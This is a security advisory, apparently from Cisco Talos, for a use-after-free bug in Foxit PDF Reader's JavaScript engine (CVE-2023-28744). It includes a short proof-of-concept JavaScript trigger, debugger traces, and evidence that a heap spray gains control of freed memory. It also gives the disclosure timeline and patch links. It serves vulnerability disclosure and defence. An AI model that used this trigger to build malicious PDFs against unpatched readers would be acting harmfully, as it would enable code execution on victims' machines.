CVE-2023-28744
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.1.15289. A specially crafted PDF document can trigger the reuse of previously freed memory by manipulating form fields of a specific type. This can lead to memory corruption and arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.1.1.15289
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents, which can have multimedia content that can be viewed interactively. Common sources of temporal memory safety issues are interactive forms and form fields, which can have event handlers attached to them. If not carefully managed, a deletion of an object during event handling can leave it in an inconsistent state and lead to corruption when the object is reused in main code. This is the case in the way Foxit handles rendering of choice field elements. The following excerpt from the proof of concept demonstrates this vulnerability:
function main() {
var o = {toString:f12};
this.getField("choice").setItems([o]);
}
function f12() {
removeField("choice");
}
In the above code, in main
field, choice
is assigned an item with an overridden toString
function, which will be called when this field is being rendered. The function attached to toString
simply removes the field, which will cause its backing memory to be freed and reused for other purposes. When displaying the contents of the PDF, deleted field memory is reused, which can lead to memory corruption. This can be observed in a debugger. Before the field is freed, its memory is accessed in the following code:
FoxitPDFReader!safe_vsnprintf+0x34d3d0:
02209ad0 55 push ebp
02209ad1 8bec mov ebp,esp
02209ad3 83ec08 sub esp,8
02209ad6 56 push esi
02209ad7 8bf1 mov esi,ecx
02209ad9 6a00 push 0
02209adb 684c9bb005 push offset FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x16370 (05b09b4c)
02209ae0 ff760c push dword ptr [esi+0Ch] [1]
0:000> dd esi
22d61020 00000007 00000000 22d58320 22d5afb0 [2]
22d61030 00000000 22d4fd00 00000001 00000001
22d61040 00000000 00000004 00000000 00000000
22d61050 22000006 00000000 00000003 00000000
22d61060 00000000 22d54820 00000010 00000003
22d61070 0f45f24c 0f45f218 0000000a 00000000
22d61080 22000006 00000000 000005f1 00000000
22d61090 00000000 22d54ba0 00000010 00000008
0:000> u
FoxitPDFReader!safe_vsnprintf+0x34d3e3:
02209ae3 e878b4ffff call FoxitPDFReader!safe_vsnprintf+0x348860 (02204f60) [3]
02209ae8 83c40c add esp,0Ch
02209aeb 85c0 test eax,eax
02209aed 7405 je FoxitPDFReader!safe_vsnprintf+0x34d3f4 (02209af4)
02209aef 803805 cmp byte ptr [eax],5
02209af2 7459 je FoxitPDFReader!safe_vsnprintf+0x34d44d (02209b4d)
02209af4 8b06 mov eax,dword ptr [esi]
02209af6 83f808 cmp eax,8
At [1] above, we see a function argument being pushed onto stack. The value being pushed comes from esi+0xc
and can be seen at [2] to be 22d5afb0
. Note [3] reveals that the debugger is currently stopped at a function call. Continuing execution into f12
, a function that frees the object and beyond, the same breakpoint is hit again:
Breakpoint 0 hit
eax=07b8e608 ebx=22d61020 ecx=22d61020 edx=062eef00 esi=22d61020 edi=22d61020
eip=02209ae3 esp=07b8e5d4 ebp=07b8e5ec iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
FoxitPDFReader!safe_vsnprintf+0x34d3e3:
02209ae3 e878b4ffff call FoxitPDFReader!safe_vsnprintf+0x348860 (02204f60)
0:000> dd esi
22d61020 22d61470 00000010 00000010 0065007a [4]
22d61030 0061007a 005f0073 0061006d 00610064
22d61040 0031006a 0070002e 00660064 00000000
22d61050 22000106 00000000 00000003 00000000
22d61060 00000000 22d54820 00000010 00000002
22d61070 0f45f23c 0f45f218 0000000a 00000000
22d61080 22000006 00000000 000005f1 00000000
22d61090 00000000 22d54ba0 00000010 00000008
0:000> ub
FoxitPDFReader!safe_vsnprintf+0x34d3d0:
02209ad0 55 push ebp
02209ad1 8bec mov ebp,esp
02209ad3 83ec08 sub esp,8
02209ad6 56 push esi
02209ad7 8bf1 mov esi,ecx
02209ad9 6a00 push 0
02209adb 684c9bb005 push offset FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x16370 (05b09b4c)
02209ae0 ff760c push dword ptr [esi+0Ch]
This time, however, at [4] we can observe a different value that is decidedly not a pointer, as would be expected. This is indicative of a use-after-free condition. Proceeding with execution leads to the following crash:
(1658.f4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00013693 ebx=00000000 ecx=00000074 edx=00000000 esi=0065008a edi=07b8e5c4
eip=023f9382 esp=07b8e57c ebp=07b8e584 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608 div eax,dword ptr [esi+8] ds:002b:00650092=????????
0:000> k 5
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07b8e584 023f9980 FoxitPDFReader!safe_vsnprintf+0x53cc82
01 07b8e598 020c020a FoxitPDFReader!safe_vsnprintf+0x53d280
02 07b8e5ac 02204fb6 FoxitPDFReader!safe_vsnprintf+0x203b0a
03 07b8e5cc 02209ae8 FoxitPDFReader!safe_vsnprintf+0x3488b6
04 07b8e5ec 02e515a9 FoxitPDFReader!safe_vsnprintf+0x34d3e8
The above crash is due to access violation during a benign div
instruction execution, but we can see that memory referenced by esi
is the same (plus offset) as the value pushed onto stack at [4]. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.
With a simple heap spray, control over freed memory is achieved:
(3e0.440): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00013693 ebx=00000000 ecx=00000074 edx=00000000 esi=41414139 edi=0019df0c
eip=023f9382 esp=0019dec4 ebp=0019decc iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608 div eax,dword ptr [esi+8] ds:002b:41414141=????????
0:000> dd esi
41414139 ???????? ???????? ???????? ????????
41414149 ???????? ???????? ???????? ????????
41414159 ???????? ???????? ???????? ????????
41414169 ???????? ???????? ???????? ????????
41414179 ???????? ???????? ???????? ????????
41414189 ???????? ???????? ???????? ????????
41414199 ???????? ???????? ???????? ????????
414141a9 ???????? ???????? ???????? ????????
0:000> k
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0019decc 023f9980 FoxitPDFReader!safe_vsnprintf+0x53cc82
01 0019dee0 020c020a FoxitPDFReader!safe_vsnprintf+0x53d280
02 0019def4 02204fb6 FoxitPDFReader!safe_vsnprintf+0x203b0a
03 0019df14 02209ae8 FoxitPDFReader!safe_vsnprintf+0x3488b6
04 0019df34 02e515a9 FoxitPDFReader!safe_vsnprintf+0x34d3e8
05 0019df5c 02e57f83 FoxitPDFReader!safe_vsnprintf+0xf94ea9
06 0019dfec 02e32ec2 FoxitPDFReader!safe_vsnprintf+0xf9b883
07 0019e040 030f5e0b FoxitPDFReader!safe_vsnprintf+0xf767c2
08 0019e088 032da16b FoxitPDFReader!FXJSE_GetClass+0x26b
09 0019e0f0 032d992e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3c8b
0a 0019e184 032d9be5 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e344e
0b 0019e1cc 032d9a6b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3705
0c 0019e1e8 034fbe7b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e358b
0d 0019e208 03497ed9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x40599b
0e 0019e254 03497ed9 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a19f9
0f 0019e280 03496560 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a19f9
10 0019e298 03496389 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3a0080
11 0019e2c4 0313265e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x39fea9
12 0019e3d4 03132172 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3c17e
13 0019e45c 0311ae64 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x3bc92
14 0019e60c 0311a960 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24984
15 0019e620 030f437f FoxitPDFReader!CFXJSE_Arguments::GetValue+0x24480
16 0019e698 030f4cb6 FoxitPDFReader!FXJSE_Runtime_Release+0xd5f
17 0019e6d4 02d73134 FoxitPDFReader!FXJSE_ExecuteScript+0x86
18 0019e738 02d74020 FoxitPDFReader!safe_vsnprintf+0xeb6a34
19 0019e74c 0131122d FoxitPDFReader!safe_vsnprintf+0xeb7920
1a 0019e77c 01310064 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c698d
1b 0019e7bc 0130eae0 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c57c4
1c 0019e810 00c3a522 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2c4240
1d 0019e860 00e976bb FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x8a02
1e 0019f484 04545025 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x64bab
1f 0019f554 045461fe FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0fb5
20 0019f578 04540ba4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d218e
21 0019f5ec 04541417 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1ccb34
22 0019f60c 7795bf1b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd3a7
23 0019f638 779583ea USER32!_InternalCallWinProc+0x2b
24 0019f720 77957c9e USER32!UserCallWinProcCheckWow+0x3aa
25 0019f79c 77957a80 USER32!DispatchMessageWorker+0x20e
26 0019f7a8 00e1d3c4 USER32!DispatchMessageW+0x10
27 0019f7c4 00e1d483 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128694
28 0019f7e4 04962e2e FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128753
29 0019f7fc 047287b5 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eedbe
2a 0019f848 745b8494 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4745
2b 0019f85c 77cd41c8 KERNEL32!BaseThreadInitThunk+0x24
2c 0019f8a4 77cd4198 ntdll!__RtlUserThreadStart+0x2f
2d 0019f8b4 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> u
FoxitPDFReader!safe_vsnprintf+0x53cc82:
023f9382 f77608 div eax,dword ptr [esi+8]
023f9385 8b450c mov eax,dword ptr [ebp+0Ch]
023f9388 8910 mov dword ptr [eax],edx
023f938a 8b7604 mov esi,dword ptr [esi+4]
023f938d 85f6 test esi,esi
023f938f 7422 je FoxitPDFReader!safe_vsnprintf+0x53ccb3 (023f93b3)
023f9391 8b3496 mov esi,dword ptr [esi+edx*4]
023f9394 85f6 test esi,esi
Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/
2023-04-05 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.